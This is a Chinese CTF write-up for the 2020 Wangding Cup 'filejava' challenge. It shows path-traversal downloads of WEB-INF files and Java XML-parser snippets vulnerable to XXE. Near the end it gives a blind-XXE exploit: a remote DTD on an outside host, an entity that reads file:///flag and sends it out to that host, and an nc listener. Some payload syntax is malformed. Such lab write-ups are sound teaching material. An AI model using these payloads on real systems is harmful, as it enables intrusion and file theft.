网鼎杯2020青龙组——filejava通关思路

目录

1、启动靶场,访问页面

2、BP抓包

(三)代码审计

1.XMLReader

 2.SAXBuilder

3.SAXReader

4.SAXParserFactory

5.Digester

6.DocumentBuilderFactory

漏洞利用

0x01 判断是否带外执行

0x02 尝试读取内容


1、启动靶场,访问页面

 

图 1-1 前端显示页面

2、BP抓包

        我们先尝试随便上传一个文件,发现它会返回一个文件的下载地址,即下载漏洞

图 1-2 返回的下载地址

 

先下载配置性文件web.xml

../../../WEB-INF/web-xml

通过配置文件,来下载class文件

../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

(三)代码审计


图 3-1 导入poi接口

 查看里面的代码也有一定的提示:

图 3-2 err处有提示

 

熟悉java代码审计的师傅,应该很快反应过来了xxe漏洞主要看加载包,函数名。像如下关键接口:

1XMLReader


        XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞。

try { 
     XMLReader xmlReader = XMLReaderFactory.createXMLReader();
         xmlReader.parse(new InputSource(new StringReader(body))); 
        } catch (Exception e) { 
                 return EXCEPT; 
}

 2SAXBuilder


        SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。当 SAXBuilder 使用默认的解析方法并且未对 XML 进行过滤时,会出现XXE 漏洞。
 try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         SAXBuilder builder = new SAXBuilder(); 
         // org.jdom2.Document document 
             builder.build(new InputSource(new StringReader(body))); // cause xxe 
                 return "SAXBuilder xxe vuln code"; 
         } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

3SAXReader


        DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型,就能使用。 DOM4J / XML 文档主要依赖于 org.dom4j.io 包,它有DOMReader SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞。
try { 
         String body = WebUtils.getRequestBody(request); 
         logger.info(body); 
         SAXReader reader = new SAXReader(); 
         // org.dom4j.Document document 
             reader.read(new InputSource(new StringReader(body))); // cause xxe 
     } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

4SAXParserFactory


        SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance() 。跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞。
try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         SAXParserFactory spf = SAXParserFactory.newInstance(); 
         SAXParser parser = spf.newSAXParser(); 
             parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
             return "SAXParser xxe vuln code"; 
     } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

5Digester


        Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons库中的一个 jar 包: common-digester 包。一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用:
try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         Digester digester = new Digester(); 
             digester.parse(new StringReader(body)); // parse xml 
     } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

6DocumentBuilderFactory


        javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象, DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 
         DocumentBuilder db = dbf.newDocumentBuilder(); 
         StringReader sr = new StringReader(body); 
         InputSource is = new InputSource(sr); 
         Document document = db.parse(is); // parse xml 
         // 遍历 xml 节点 name 和 value 
         StringBuffer buf = new StringBuffer(); 
         NodeList rootNodeList = document.getChildNodes(); 
         for (int i = 0; i < rootNodeList.getLength(); i++) { 
                 Node rootNode = rootNodeList.item(i); 
                 NodeList child = rootNode.getChildNodes(); 
             for (int j = 0; j < child.getLength(); j++) { 
                         Node node = child.item(j); 
                    buf.append(node.getNodeName() + ":" + node.getTextContent() + "\n");
                     } 
                 } 
         sr.close(); 
         return buf.toString(); 
             }catch (Exception e) { 
         logger.error(e.toString()); 
         return EXCEPT; 
 }

漏洞利用

0x01 判断是否带外执行

图 3-1 利用代码

 

在dnslog平台申请一个域名,点击上传会有数据外带,说明该程序存在漏洞,我们接下来就是要判断是有回显还是没有回显。

0x02 尝试读取内容

图 3-2 尝试读取敏感文件

 

最终判断没有回显,尝试进行反弹shell

1、远程DTD

<DOCTYPE convert[
<!ENTITY %remote SYSTEM "http://www.jinyouxin.com/xxx.dtd">
%remote;%int;%send
]>
<root>&send</send>

2、进行反弹

<!ENTITY %file SYSTEM "file:///flag">
<!ENTITY %int "<!ENTITY &#37;send SYSTEM 'http://www.jinyouxin.com:3333/%file;'>">

3、进行监听

nc -lvvp 3333
图 3-3 数据成功回显

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值